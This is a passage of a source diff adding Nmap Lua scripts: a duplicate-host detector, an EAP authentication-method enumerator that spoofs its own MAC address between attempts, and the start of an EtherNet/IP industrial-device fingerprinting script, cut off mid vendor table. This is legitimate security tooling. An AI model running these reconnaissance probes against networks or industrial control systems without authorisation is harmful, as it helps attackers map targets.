+the following scripts: ssl-cert,ssh-hostkey,nbtstat.
+
+One or more of these scripts have to be run in order to allow the duplicates
+script to analyze the data.
+]]
+
+---
+-- @usage
+-- sudo nmap -PN -p445,443 --script duplicates,nbstat,ssl-cert <ips>
+--
+-- @output
+-- | duplicates:
+-- | ARP
+-- | MAC: 01:23:45:67:89:0a
+-- | 192.168.99.10
+-- | 192.168.99.11
+-- | Netbios
+-- | Server Name: WIN2KSRV001
+-- | 192.168.0.10
+-- |_ 192.168.1.10
+--
+
+
+--
+-- While the script provides basic duplicate functionality, here are some ideas
+-- on improvements.
+--
+-- Possible additional information sources:
+-- * Microsoft SQL Server instance names (Match hostname, version, instance
+-- names and ports) - Reliable given several instances
+-- * Oracle TNS names - Not very reliable
+--
+-- Possible enhancements:
+-- * Compare hosts across information sources and create a global category
+-- in which system duplicates are reported based on more than one source.
+-- * Add a reliability index for each information source that indicates how
+-- reliable the duplicate match was. This could be an index compared to
+-- other information sources as well as an indicator of how good the match
+-- was for a particular information source.
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe"}
+dependencies = {"ssl-cert", "ssh-hostkey", "nbstat"}
+
+
+hostrule = function() return true end
+postrule = function() return true end
+
+local function processSSLCerts(tab)
+
+ -- Handle SSL-certificates
+ -- We create a new table using the SHA1 digest as index
+ local ssl_certs = {}
+ for host, v in pairs(tab) do
+ for port, sha1 in pairs(v) do
+ ssl_certs[sha1] = ssl_certs[sha1] or {}
+ if ( not tableaux.contains(ssl_certs[sha1], host.ip) ) then
+ table.insert(ssl_certs[sha1], host.ip)
+ end
+ end
+ end
+
+ local results = {}
+ for sha1, hosts in pairs(ssl_certs) do
+ table.sort(hosts, function(a, b) return ipOps.compare_ip(a, "lt", b) end)
+ if ( #hosts > 1 ) then
+ table.insert(results, { name = ("Certficate (%s)"):format(sha1), hosts } )
+ end
+ end
+
+ return results
+end
+
+local function processSSHKeys(tab)
+
+ local hostkeys = {}
+
+ -- create a reverse mapping key_fingerprint -> host(s)
+ for ip, keys in pairs(tab) do
+ for _, key in ipairs(keys) do
+ local fp = ssh1.fingerprint_hex(key.fingerprint, key.algorithm, key.bits)
+ if not hostkeys[fp] then
+ hostkeys[fp] = {}
+ end
+ -- discard duplicate IPs
+ if not tableaux.contains(hostkeys[fp], ip) then
+ table.insert(hostkeys[fp], ip)
+ end
+ end
+ end
+
+ -- look for hosts using the same hostkey
+ local results = {}
+ for key, hosts in pairs(hostkeys) do
+ if #hostkeys[key] > 1 then
+ table.sort(hostkeys[key], function(a, b) return ipOps.compare_ip(a, "lt", b) end)
+ local str = 'Key ' .. key .. ':'
+ table.insert( results, { name = str, hostkeys[key] } )
+ end
+ end
+
+ return results
+end
+
+local function processNBStat(tab)
+
+ local results, mac_table, name_table = {}, {}, {}
+ for host, v in pairs(tab) do
+ mac_table[v.mac] = mac_table[v.mac] or {}
+ if ( not(tableaux.contains(mac_table[v.mac], host.ip)) ) then
+ table.insert(mac_table[v.mac], host.ip)
+ end
+
+ name_table[v.server_name] = name_table[v.server_name] or {}
+ if ( not(tableaux.contains(name_table[v.server_name], host.ip)) ) then
+ table.insert(name_table[v.server_name], host.ip)
+ end
+ end
+
+ for mac, hosts in pairs(mac_table) do
+ if ( #hosts > 1 ) then
+ table.sort(hosts, function(a, b) return ipOps.compare_ip(a, "lt", b) end)
+ table.insert(results, { name = ("MAC: %s"):format(mac), hosts })
+ end
+ end
+
+ for srvname, hosts in pairs(name_table) do
+ if ( #hosts > 1 ) then
+ table.sort(hosts, function(a, b) return ipOps.compare_ip(a, "lt", b) end)
+ table.insert(results, { name = ("Server Name: %s"):format(srvname), hosts })
+ end
+ end
+
+ return results
+end
+
+local function processMAC(tab)
+
+ local mac
+ local mac_table = {}
+
+ for host in pairs(tab) do
+ if ( host.mac_addr ) then
+ mac = stdnse.format_mac(host.mac_addr)
+ mac_table[mac] = mac_table[mac] or {}
+ if ( not(tableaux.contains(mac_table[mac], host.ip)) ) then
+ table.insert(mac_table[mac], host.ip)
+ end
+ end
+ end
+
+ local results = {}
+ for mac, hosts in pairs(mac_table) do
+ if ( #hosts > 1 ) then
+ table.sort(hosts, function(a, b) return ipOps.compare_ip(a, "lt", b) end)
+ table.insert(results, { name = ("MAC: %s"):format(mac), hosts })
+ end
+ end
+
+ return results
+end
+
+postaction = function()
+
+ local handlers = {
+ ['ssl-cert'] = { func = processSSLCerts, name = "SSL" },
+ ['sshhostkey'] = { func = processSSHKeys, name = "SSH" },
+ ['nbstat'] = { func = processNBStat, name = "Netbios" },
+ ['mac'] = { func = processMAC, name = "ARP" }
+ }
+
+ -- temporary re-allocation code for SSH keys
+ for k, v in pairs(nmap.registry.sshhostkey or {}) do
+ nmap.registry['duplicates'] = nmap.registry['duplicates'] or {}
+ nmap.registry['duplicates']['sshhostkey'] = nmap.registry['duplicates']['sshhostkey'] or {}
+ nmap.registry['duplicates']['sshhostkey'][k] = v
+ end
+
+ if ( not(nmap.registry['duplicates']) ) then
+ return
+ end
+
+ local results = {}
+ for key, handler in pairs(handlers) do
+ if ( nmap.registry['duplicates'][key] ) then
+ local result_part = handler.func( nmap.registry['duplicates'][key] )
+ if ( result_part and #result_part > 0 ) then
+ table.insert(results, { name = handler.name, result_part } )
+ end
+ end
+ end
+
+ return stdnse.format_output(true, results)
+end
+
+-- we have no real action in here. In essence we move information from the
+-- host based registry to the global one, so that our postrule has access to
+-- it when we need it.
+hostaction = function(host)
+
+ nmap.registry['duplicates'] = nmap.registry['duplicates'] or {}
+
+ for port, cert in pairs(host.registry["ssl-cert"] or {}) do
+ nmap.registry['duplicates']['ssl-cert'] = nmap.registry['duplicates']['ssl-cert'] or {}
+ nmap.registry['duplicates']['ssl-cert'][host] = nmap.registry['duplicates']['ssl-cert'][host] or {}
+ nmap.registry['duplicates']['ssl-cert'][host][port] = stdnse.tohex(cert:digest("sha1"), { separator = " ", group = 4 })
+ end
+
+ if ( host.registry['nbstat'] ) then
+ nmap.registry['duplicates']['nbstat'] = nmap.registry['duplicates']['nbstat'] or {}
+ nmap.registry['duplicates']['nbstat'][host] = host.registry['nbstat']
+ end
+
+ if ( host.mac_addr_src ) then
+ nmap.registry['duplicates']['mac'] = nmap.registry['duplicates']['mac'] or {}
+ nmap.registry['duplicates']['mac'][host] = true
+ end
+
+ return
+end
+
+local Actions = {
+ hostrule = hostaction,
+ postrule = postaction
+}
+
+-- execute the action function corresponding to the current rule
+action = function(...) return Actions[SCRIPT_TYPE](...) end
diff --git a/scripts/eap-info.nse b/scripts/eap-info.nse
new file mode 100644
index 0000000..5741f4c
--- /dev/null
+++ b/scripts/eap-info.nse
@@ -0,0 +1,193 @@
+local eap = require "eap"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Enumerates the authentication methods offered by an EAP (Extensible
+Authentication Protocol) authenticator for a given identity or for the
+anonymous identity if no argument is passed.
+]]
+
+---
+-- @usage
+-- nmap -e interface --script eap-info [--script-args="eap-info.identity=0-user,eap-info.scan={13,50}"] <target>
+--
+-- @output
+-- Pre-scan script results:
+-- | eap-info:
+-- | Available authentication methods with identity="anonymous" on interface eth2
+-- | true PEAP
+-- | true EAP-TTLS
+-- | false EAP-TLS
+-- |_ false EAP-MSCHAP-V2
+--
+-- @args eap-info.identity Identity to use for the first step of the authentication methods (if omitted "anonymous" will be used).
+-- @args eap-info.scan Table of authentication methods to test, e.g. { 4, 13, 25 } for MD5, TLS and PEAP. Default: TLS, TTLS, PEAP, MSCHAP.
+-- @args eap-info.interface Network interface to use for the scan, overrides "-e".
+-- @args eap-info.timeout Maximum time allowed for the scan (default 10s). Methods not tested because of timeout will be listed as "unknown".
+
+author = "Riccardo Cecolin"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = { "broadcast", "safe" }
+
+
+prerule = function()
+ return nmap.is_privileged()
+end
+
+local default_scan = {
+ eap.eap_t.TLS,
+ eap.eap_t.TTLS,
+ eap.eap_t.PEAP,
+ eap.eap_t.MSCHAP,
+}
+
+local UNKNOWN = "unknown"
+
+action = function()
+
+ local arg_interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
+ local arg_identity = stdnse.get_script_args(SCRIPT_NAME .. ".identity")
+ local arg_scan = stdnse.get_script_args(SCRIPT_NAME .. ".scan")
+ local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
+ local iface
+
+ -- trying with provided interface name
+ if arg_interface then
+ iface = nmap.get_interface_info(arg_interface)
+ end
+
+ -- trying with default nmap interface
+ if not iface then
+ local iname = nmap.get_interface()
+ if iname then
+ iface = nmap.get_interface_info(iname)
+ end
+ end
+
+ -- failed
+ if not iface then
+ return "please specify an interface with -e"
+ end
+ stdnse.debug1("iface: %s", iface.device)
+
+ local timeout = (arg_timeout or 10) * 1000
+
+ stdnse.debug2("timeout: %s", timeout)
+
+ local pcap = nmap.new_socket()
+ pcap:pcap_open(iface.device, 512, true, "ether proto 0x888e")
+
+
+ local identity = { name="anonymous", auth = {}, probe = -1 }
+
+ if arg_identity then
+ identity.name = tostring(arg_identity)
+ end
+
+ local scan
+ if arg_scan == nil or type(arg_scan) ~= "table" or #arg_scan == 0 then
+ scan = default_scan
+ else
+ scan = arg_scan
+ end
+
+ local valid = false
+ for i,v in ipairs(scan) do
+ v = tonumber(v)
+ if v ~= nil and v < 256 and v > 3 then
+ stdnse.debug1("selected: %s", eap.eap_str[v] or "unassigned" )
+ identity.auth[v] = UNKNOWN
+ valid = true
+ end
+ end
+
+ if not valid then
+ return "no valid scan methods provided"
+ end
+
+ local tried_all = false
+
+ local start_time = nmap.clock_ms()
+ eap.send_start(iface)
+
+ while(nmap.clock_ms() - start_time < timeout) and not tried_all do
+ local status, plen, l2_data, l3_data, time = pcap:pcap_receive()
+ if (status) then
+ stdnse.debug2("packet size: 0x%x", plen )
+ local packet = eap.parse(l2_data .. l3_data)
+
+ if packet then
+ stdnse.debug2("packet valid")
+
+ -- respond to identity requests, using the same session id
+ if packet.eap.type == eap.eap_t.IDENTITY and packet.eap.code == eap.code_t.REQUEST then
+ stdnse.debug1("server identity: %s",packet.eap.body.identity)
+ eap.send_identity_response(iface, packet.eap.id, identity.name)
+ end
+
+ -- respond with NAK to every auth request to enumerate them until we get a failure
+ if packet.eap.type ~= eap.eap_t.IDENTITY and packet.eap.code == eap.code_t.REQUEST then
+ stdnse.debug1("auth request: %s",eap.eap_str[packet.eap.type])
+ identity.auth[packet.eap.type] = true
+
+ identity.probe = -1
+ for i,v in pairs(identity.auth) do
+ stdnse.debug1("identity.auth: %d %s",i,tostring(v))
+ if v == UNKNOWN then
+ identity.probe = i
+ eap.send_nak_response(iface, packet.eap.id, i)
+ break
+ end
+ end
+ if identity.probe == -1 then tried_all = true end
+ end
+
+ -- retry on failure
+ if packet.eap.code == eap.code_t.FAILURE then
+ stdnse.debug1("auth failure")
+ identity.auth[identity.probe] = false
+
+ -- don't give up at the first failure!
+ -- mac spoofing to avoid to wait too much
+ local d = string.byte(iface.mac,6)
+ d = (d + 1) % 256
+ iface.mac = iface.mac:sub(1,5) .. string.pack("B",d)
+
+ tried_all = true
+ for i,v in pairs(identity.auth) do
+ if v == UNKNOWN then
+ tried_all = false
+ break
+ end
+ end
+ if not tried_all then
+ eap.send_start(iface)
+ end
+ end
+
+ else
+ stdnse.debug1("packet invalid! wrong filter?")
+ end
+ end
+ end
+
+ local results = { ["name"] = ("Available authentication methods with identity=\"%s\" on interface %s"):format(identity.name, iface.device) }
+ for i,v in pairs(identity.auth) do
+ if v== true then
+ table.insert(results, 1, ("%-8s %s"):format(tostring(v), eap.eap_str[i] or "unassigned" ))
+ else
+ table.insert(results, ("%-8s %s"):format(tostring(v), eap.eap_str[i] or "unassigned" ))
+ end
+ end
+
+ for i,v in ipairs(results) do
+ stdnse.debug1("%s", tostring(v))
+ end
+
+ return stdnse.format_output(true, results)
+end
+
diff --git a/scripts/enip-info.nse b/scripts/enip-info.nse
new file mode 100644
index 0000000..e69706b
--- /dev/null
+++ b/scripts/enip-info.nse
@@ -0,0 +1,1766 @@
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+
+description = [[
+This NSE script is used to send a EtherNet/IP packet to a remote device that
+has TCP 44818 open. The script will send a Request Identity Packet and once a
+response is received, it validates that it was a proper response to the command
+that was sent, and then will parse out the data. Information that is parsed
+includes Device Type, Vendor ID, Product name, Serial Number, Product code,
+Revision Number, status, state, as well as the Device IP.
+
+This script was written based of information collected by using the the
+Wireshark dissector for CIP, and EtherNet/IP, The original information was
+collected by running a modified version of the ethernetip.py script
+(https://github.com/paperwork/pyenip)
+
+http://digitalbond.com
+
+]]
+---
+-- @usage
+-- nmap --script enip-info -sU -p 44818 <host>
+--
+--
+-- @output
+--PORT STATE SERVICE REASON
+--44818/tcp open EtherNet-IP-2 syn-ack
+--| enip-info:
+--| type: Communications Adapter (12)
+--| vendor: Rockwell Automation/Allen-Bradley (1)
+--| productName: 1769-L32E Ethernet Port
+--| serialNumber: 0x000000
+--| productCode: 158
+--| revision: 3.7
+--| status: 0x0030
+--| state: 0x03
+--|_ ipAddress: 192.168.1.123
+-- @xmloutput
+--<elem key="type">Communications Adapter (12)</elem>
+--<elem key="vendor">Rockwell Automation/Allen-Bradley (1)</elem>
+--<elem key="productName">1769-L32E Ethernet Port</elem>
+--<elem key="serialNumber">0x000000</elem>
+--<elem key="productCode">158</elem>
+--<elem key="revision">3.7</elem>
+--<elem key="status">0x0030</elem>
+--<elem key="state">0x03</elem>
+--<elem key="ipAddress">192.168.1.1</elem>
+
+
+author = "Stephen Hilt (Digital Bond)"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "version"}
+
+-- Function to define the portrule as per nmap standards
+-- IANA replaced the historical EtherNet/IP-2 name with EtherNet-IP-2
+portrule = shortport.version_port_or_service(44818, {"EtherNet-IP-2", "EtherNet/IP-2"}, {"tcp","udp"})
+
+-- Table to look up the Vendor Name based on Vendor ID
+-- Returns "Unknown Vendor Number" if Vendor ID not recognized
+-- Table data from Wireshark dissector ( link to unofficial mirror )
+-- https://github.com/avsej/wireshark/blob/master/epan/dissectors/packet-enip.c
+-- Fetched on 4/19/2014
+
+-- @key vennum Vendor number parsed out of the EtherNet/IP packet
+local vendor_id = {
+ [0] = "Reserved",
+ [1] = "Rockwell Automation/Allen-Bradley",
+ [2] = "Namco Controls Corp.",
+ [3] = "Honeywell Inc.",
+ [4] = "Parker Hannifin Corp. (Veriflo Division)",
+ [5] = "Rockwell Automation/Reliance Elec.",
+ [6] = "Reserved",
+ [7] = "SMC Corporation",
+ [8] = "Molex Incorporated",
+ [9] = "Western Reserve Controls Corp.",
+ [10] = "Advanced Micro Controls Inc. (AMCI)",
+ [11] = "ASCO Pneumatic Controls",
+ [12] = "Banner Engineering Corp.",
+ [13] = "Belden Wire & Cable Company",
+ [14] = "Cooper Interconnect",
+ [15] = "Reserved",
+ [16] = "Daniel Woodhead Co. (Woodhead Connectivity)",
+ [17] = "Dearborn Group Inc.",
+ [18] = "Reserved",
+ [19] = "Helm Instrument Company",
+ [20] = "Huron Net Works",
+ [21] = "Lumberg Inc.",
+ [22] = "Online Development Inc.(Automation Value)",
+ [23] = "Vorne Industries Inc.",
+ [24] = "ODVA Special Reserve",
+ [25] = "Reserved",
+ [26] = "Festo Corporation",
+ [27] = "Reserved",
+ [28] = "Reserved",
+ [29] = "Reserved",
+ [30] = "Unico Inc.",
+ [31] = "Ross Controls",
+ [32] = "Reserved",
+ [33] = "Reserved",
+ [34] = "Hohner Corp.",
+ [35] = "Micro Mo Electronics Inc.",
+ [36] = "MKS Instruments Inc.",
+ [37] = "Yaskawa Electric America formerly Magnetek Drives",
+ [38] = "Reserved",
+ [39] = "AVG Automation (Uticor)",
+ [40] = "Wago Corporation",
+ [41] = "Kinetics (Unit Instruments)",
+ [42] = "IMI Norgren Limited",
+ [43] = "BALLUFF Inc.",
+ [44] = "Yaskawa Electric America Inc.",
+ [45] = "Eurotherm Controls Inc",
+ [46] = "ABB Industrial Systems",
+ [47] = "Omron Corporation",
+ [48] = "TURCk Inc.",
+ [49] = "Grayhill Inc.",
+ [50] = "Real Time Automation (C&ID)",
+ [51] = "Reserved",
+ [52] = "Numatics Inc.",
+ [53] = "Lutze Inc.",
+ [54] = "Reserved",
+ [55] = "Reserved",
+ [56] = "Softing GmbH",
+ [57] = "Pepperl + Fuchs",
+ [58] = "Spectrum Controls Inc.",
+ [59] = "D.I.P. Inc. MKS Inst.",
+ [60] = "Applied Motion Products Inc.",
+ [61] = "Sencon Inc.",
+ [62] = "High Country Tek",
+ [63] = "SWAC Automation Consult GmbH",
+ [64] = "Clippard Instrument Laboratory",
+ [65] = "Reserved",
+ [66] = "Reserved",
+ [67] = "Reserved",
+ [68] = "Eaton Electrical",
+ [69] = "Reserved",
+ [70] = "Reserved",
+ [71] = "Toshiba International Corp.",
+ [72] = "Control Technology Incorporated",
+ [73] = "TCS (NZ) Ltd.",
+ [74] = "HitachiLtd.",
+ [75] = "ABB Robotics Products AB",
+ [76] = "NKE Corporation",
+ [77] = "Rockwell Software Inc.",
+ [78] = "Escort Memory Systems (A Datalogic Group Co.)",
+ [79] = "Berk-Tek",
+ [80] = "Industrial Devices Corporation",
+ [81] = "IXXAT Automation GmbH",
+ [82] = "Mitsubishi Electric Automation Inc.",
+ [83] = "OPTO-22",
+ [84] = "Reserved",
+ [85] = "Reserved",
+ [86] = "Horner Electric",
+ [87] = "Burkert Werke GmbH & Co. KG",
+ [88] = "Industrial Indexing Systems, Inc.",
+ [89] = "Industrial Indexing Systems Inc.",
+ [90] = "HMS Industrial Networks AB",
+ [91] = "Robicon",
+ [92] = "Helix Technology (Granville-Phillips)",
+ [93] = "Arlington Laboratory",
+ [94] = "Advantech Co. Ltd.",
+ [95] = "Square D Company",
+ [96] = "Digital Electronics Corp.",
+ [97] = "Danfoss",
+ [98] = "Reserved",
+ [99] = "Reserved",
+ [100] = "Bosch Rexroth Corporation] = Pneumatics",
+ [101] = "Applied Materials Inc.",
+ [102] = "Showa Electric Wire & Cable Co.",
+ [103] = "Pacific Scientific (API Controls Inc.)",
+ [104] = "Sharp Manufacturing Systems Corp.",
+ [105] = "Olflex Wire & Cable Inc.",
+ [106] = "Reserved",
+ [107] = "Unitrode",
+ [108] = "Beckhoff Automation GmbH",
+ [109] = "National Instruments",
+ [110] = "Mykrolis Corporations (Millipore)",
+ [111] = "International Motion Controls Corp.",
+ [112] = "Reserved",
+ [113] = "SEG Kempen GmbH",
+ [114] = "Reserved",
+ [115] = "Reserved",
+ [116] = "MTS Systems Corp.",
+ [117] = "Krones Inc",
+ [118] = "Reserved",
+ [119] = "EXOR Electronic R & D",
+ [120] = "SIEI S.p.A.",
+ [121] = "KUKA Roboter GmbH",
+ [122] = "Reserved",
+ [123] = "SEC (Samsung Electronics Co.Ltd)",
+ [124] = "Binary Electronics Ltd",
+ [125] = "Flexible Machine Controls",
+ [126] = "Reserved",
+ [127] = "ABB Inc. (Entrelec)",
+ [128] = "MAC Valves Inc.",
+ [129] = "Auma Actuators Inc",
+ [130] = "Toyoda Machine WorksLtd",
+ [131] = "Reserved",
+ [132] = "Reserved",
+ [133] = "Balogh T.A.G.] = Corporation",
+ [134] = "TR Systemtechnik GmbH",
+ [135] = "UNIPULSE Corporation",
+ [136] = "Reserved",
+ [137] = "Reserved",
+ [138] = "Conxall Corporation Inc.",
+ [139] = "Reserved",
+ [140] = "Reserved",
+ [141] = "Kuramo Electric Co.Ltd.",
+ [142] = "Creative Micro Designs",
+ [143] = "GE Industrial Systems",
+ [144] = "Leybold Vacuum GmbH",
+ [145] = "Siemens Energy & Automation/Drives",
+ [146] = "Kodensha Ltd",
+ [147] = "Motion Engineering Inc.",
+ [148] = "Honda Engineering Co.Ltd",
+ [149] = "EIM Valve Controls",
+ [150] = "Melec Inc.",
+ [151] = "Sony Manufacturing Systems Corporation",
+ [152] = "North American Mfg.",
+ [153] = "WATLOW",
+ [154] = "Japan Radio Co.Ltd",
+ [155] = "NADEX Co.Ltd",
+ [156] = "Ametek Automation & Process Technologies",
+ [157] = "FACTS, Inc.",
+ [158] = "KVASER AB",
+ [159] = "IDEC IZUMI Corporation",
+ [160] = "Mitsubishi Heavy Industries Ltd",
+ [161] = "Mitsubishi Electric Corporation",
+ [162] = "Horiba-STEC Inc.",
+ [163] = "esd electronic system design gmbh",
+ [164] = "DAIHEN Corporation",
+ [165] = "Tyco Valves & Controls/Keystone",
+ [166] = "EBARA Corporation",
+ [167] = "Reserved",
+ [168] = "Reserved",
+ [169] = "Hokuyo Electric Co. Ltd",
+ [170] = "Pyramid Solutions Inc.",
+ [171] = "Denso Wave Incorporated",
+ [172] = "HLS Hard-Line Solutions Inc",
+ [173] = "Caterpillar Inc.",
+ [174] = "PDL Electronics Ltd.",
+ [175] = "Reserved",
+ [176] = "Red Lion Controls",
+ [177] = "ANELVA Corporation",
+ [178] = "Toyo Denki Seizo KK",
+ [179] = "Sanyo Denki Co.Ltd",
+ [180] = "Advanced Energy Japan K.K. (Aera Japan)",
+ [181] = "Pilz GmbH & Co",
+ [182] = "Marsh Bellofram-Bellofram PCD Division",
+ [183] = "Reserved",
+ [184] = "M-SYSTEM Co. Ltd",
+ [185] = "Nissin Electric Co.Ltd",
+ [186] = "Hitachi Metals Ltd.",
+ [187] = "Oriental Motor Company",
+ [188] = "A&D Co.Ltd",
+ [189] = "Phasetronics Inc.",
+ [190] = "Cummins Engine Company",
+ [191] = "Deltron Inc.",
+ [192] = "Geneer Corporation",
+ [193] = "Anatol Automation Inc.",
+ [194] = "Reserved",
+ [195] = "Reserved",
+ [196] = "Medar Inc.",
+ [197] = "Comdel Inc.",
+ [198] = "Advanced Energy Industries Inc",
+ [199] = "Reserved",
+ [200] = "DAIDEN Co.Ltd",
+ [201] = "CKD Corporation",
+ [202] = "Toyo Electric Corporation",
+ [203] = "Reserved",
+ [204] = "AuCom Electronics Ltd",
+ [205] = "Shinko Electric Co.Ltd",
+ [206] = "Vector Informatik GmbH",
+ [207] = "Reserved",
+ [208] = "Moog Inc.",
+ [209] = "Contemporary Controls",
+ [210] = "Tokyo Sokki Kenkyujo Co.Ltd",
+ [211] = "Schenck-AccuRate Inc.",
+ [212] = "The Oilgear Company",
+ [213] = "Reserved",
+ [214] = "ASM Japan K.K.",
+ [215] = "HIRATA Corp.",
+ [216] = "SUNX Limited",
+ [217] = "Meidensha Corp.",
+ [218] = "NIDEC SANKYO CORPORATION (Sankyo Seiki Mfg. Co.Ltd)",
+ [219] = "KAMRO Corp.",
+ [220] = "Nippon System Development Co.Ltd",
+ [221] = "EBARA Technologies Inc.",
+ [222] = "Reserved",
+ [223] = "Reserved",
+ [224] = "SG Co.Ltd",
+ [225] = "Vaasa Institute of Technology",
+ [226] = "MKS Instruments (ENI Technology)",
+ [227] = "Tateyama System Laboratory Co.Ltd.",
+ [228] = "QLOG Corporation",
+ [229] = "Matric Limited Inc.",
+ [230] = "NSD Corporation",
+ [231] = "Reserved",
+ [232] = "Sumitomo Wiring SystemsLtd",
+ [233] = "Group 3 Technology Ltd",
+ [234] = "CTI Cryogenics",
+ [235] = "POLSYS CORP",
+ [236] = "Ampere Inc.",
+ [237] = "Reserved",
+ [238] = "Simplatroll Ltd",
+ [239] = "Reserved",
+ [240] = "Reserved",
+ [241] = "Leading Edge Design",
+ [242] = "Humphrey Products",
+ [243] = "Schneider Automation Inc.",
+ [244] = "Westlock Controls Corp.",
+ [245] = "Nihon Weidmuller Co.Ltd",
+ [246] = "Brooks Instrument (Div. of Emerson)",
+ [247] = "Reserved",
+ [248] = " Moeller GmbH",
+ [249] = "Varian Vacuum Products",
+ [250] = "Yokogawa Electric Corporation",
+ [251] = "Electrical Design Daiyu Co.Ltd",
+ [252] = "Omron Software Co.Ltd",
+ [253] = "BOC Edwards",
+ [254] = "Control Technology Corporation",
+ [255] = "Bosch Rexroth",
+ [256] = "Turck",
+ [257] = "Control Techniques PLC",
+ [258] = "Hardy Instruments Inc.",
+ [259] = "LS Industrial Systems",
+ [260] = "E.O.A. Systems Inc.",
+ [261] = "Reserved",
+ [262] = "New Cosmos Electric Co.Ltd.",
+ [263] = "Sense Eletronica LTDA",
+ [264] = "Xycom Inc.",
+ [265] = "Baldor Electric",
+ [266] = "Reserved",
+ [267] = "Patlite Corporation",
+ [268] = "Reserved",
+ [269] = "Mogami Wire & Cable Corporation",
+ [270] = "Welding Technology Corporation (WTC)",
+ [271] = "Reserved",
+ [272] = "Deutschmann Automation GmbH",
+ [273] = "ICP Panel-Tec Inc.",
+ [274] = "Bray Controls USA",
+ [275] = "Reserved",
+ [276] = "Status Technologies",
+ [277] = "Trio Motion Technology Ltd",
+ [278] = "Sherrex Systems Ltd",
+ [279] = "Adept Technology Inc.",
+ [280] = "Spang Power Electronics",
+ [281] = "Reserved",
+ [282] = "Acrosser Technology Co.Ltd",
+ [283] = "Hilscher GmbH",
+ [284] = "IMAX Corporation",
+ [285] = "Electronic Innovation Inc. (Falter Engineering)",
+ [286] = "Netlogic Inc.",
+ [287] = "Bosch Rexroth Corporation] = Indramat",
+ [288] = "Reserved",
+ [289] = "Reserved",
+ [290] = "Murata Machinery Ltd.",
+ [291] = "MTT Company Ltd.",
+ [292] = "Kanematsu Semiconductor Corp.",
+ [293] = "Takebishi Electric Sales Co.",
+ [294] = "Tokyo Electron Device Ltd",
+ [295] = "PFU Limited",
+ [296] = "Hakko Automation Co.Ltd.",
+ [297] = "Advanet Inc.",
+ [298] = "Tokyo Electron Software Technologies Ltd.",
+ [299] = "Reserved",
+ [300] = "Shinagawa Electric Wire Co.Ltd.",
+ [301] = "Yokogawa M&C Corporation",
+ [302] = "KONAN Electric Co.Ltd.",
+ [303] = "Binar Elektronik AB",
+ [304] = "Furukawa Electric Co.",
+ [305] = "Cooper Energy Services",
+ [306] = "Schleicher GmbH & Co.",
+ [307] = "Hirose Electric Co.Ltd",
+ [308] = "Western Servo Design Inc.",
+ [309] = "Prosoft Technology",
+ [310] = "Reserved",
+ [311] = "Towa Shoko Co.Ltd",
+ [312] = "Kyopal Co.Ltd",
+ [313] = "Extron Co.",
+ [314] = "Wieland Electric GmbH",
+ [315] = "SEW Eurodrive GmbH",
+ [316] = "Aera Corporation",
+ [317] = "STA Reutlingen",
+ [318] = "Reserved",
+ [319] = "Fuji Electric Co.Ltd.",
+ [320] = "Reserved",
+ [321] = "Reserved",
+ [322] = "ifm efector] = inc.",
+ [323] = "Reserved",
+ [324] = "IDEACOD-Hohner Automation S.A.",
+ [325] = "CommScope Inc.",
+ [326] = "GE Fanuc Automation North America Inc.",
+ [327] = "Matsushita Electric Industrial Co.Ltd",
+ [328] = "Okaya Electronics Corporation",
+ [329] = "KASHIYAMA IndustriesLtd",
+ [330] = "JVC",
+ [331] = "Interface Corporation",
+ [332] = "Grape Systems Inc.",
+ [333] = "Reserved",
+ [334] = "KEBA AG",
+ [335] = "Toshiba IT & Control Systems Corporation",
+ [336] = "Sanyo Machine WorksLtd.",
+ [337] = "Vansco Electronics Ltd.",
+ [338] = "Dart Container Corp.",
+ [339] = "Livingston & Co. Inc.",
+ [340] = "Alfa Laval LKM as",
+ [341] = "BF ENTRON Ltd. (British Federal)",
+ [342] = "Bekaert Engineering NV",
+ [343] = "Ferran Scientific Inc.",
+ [344] = "KEBA AG",
+ [345] = "Endress + Hauser",
+ [346] = "Lincoln Electric Company",
+ [347] = "ABB ALSTOM Power UK Ltd. (EGT)",
+ [348] = "Berger Lahr GmbH",
+ [349] = "Reserved",
+ [350] = "Federal Signal Corp.",
+ [351] = "Kawasaki Robotics (USA) Inc.",
+ [352] = "Bently Nevada Corporation",
+ [353] = "Reserved",
+ [354] = "FRABA Posital GmbH",
+ [355] = "Elsag Bailey Inc.",
+ [356] = "Fanuc Robotics America",
+ [357] = "Reserved",
+ [358] = "Surface Combustion Inc.",
+ [359] = "Reserved",
+ [360] = "AILES Electronics Ind. Co.Ltd.",
+ [361] = "Wonderware Corporation",
+ [362] = "Particle Measuring Systems Inc.",
+ [363] = "Reserved",
+ [364] = "Reserved",
+ [365] = "BITS Co.Ltd",
+ [366] = "Japan Aviation Electronics Industry Ltd",
+ [367] = "Keyence Corporation",
+ [368] = "Kuroda Precision Industries Ltd.",
+ [369] = "Mitsubishi Electric Semiconductor Application",
+ [370] = "Nippon Seisen CableLtd.",
+ [371] = "Omron ASO Co.Ltd",
+ [372] = "Seiko Seiki Co.Ltd.",
+ [373] = "Sumitomo Heavy IndustriesLtd.",
+ [374] = "Tango Computer Service Corporation",
+ [375] = "Technology Service Inc.",
+ [376] = "Toshiba Information Systems (Japan) Corporation",
+ [377] = "TOSHIBA Schneider Inverter Corporation",
+ [378] = "Toyooki Kogyo Co.Ltd.",
+ [379] = "XEBEC",
+ [380] = "Madison Cable Corporation",
+ [381] = "Hitati Engineering & Services Co.Ltd",
+ [382] = "TEM-TECH Lab Co.Ltd",
+ [383] = "International Laboratory Corporation",
+ [384] = "Dyadic Systems Co.Ltd.",
+ [385] = "SETO Electronics Industry Co.Ltd",
+ [386] = "Tokyo Electron Kyushu Limited",
+ [387] = "KEI System Co.Ltd",
+ [388] = "Reserved",
+ [389] = "Asahi Engineering Co.Ltd",
+ [390] = "Contrex Inc.",
+ [391] = "Paradigm Controls Ltd.",
+ [392] = "Reserved",
+ [393] = "Ohm Electric Co.Ltd.",
+ [394] = "RKC Instrument Inc.",
+ [395] = "Suzuki Motor Corporation",
+ [396] = "Custom Servo Motors Inc.",
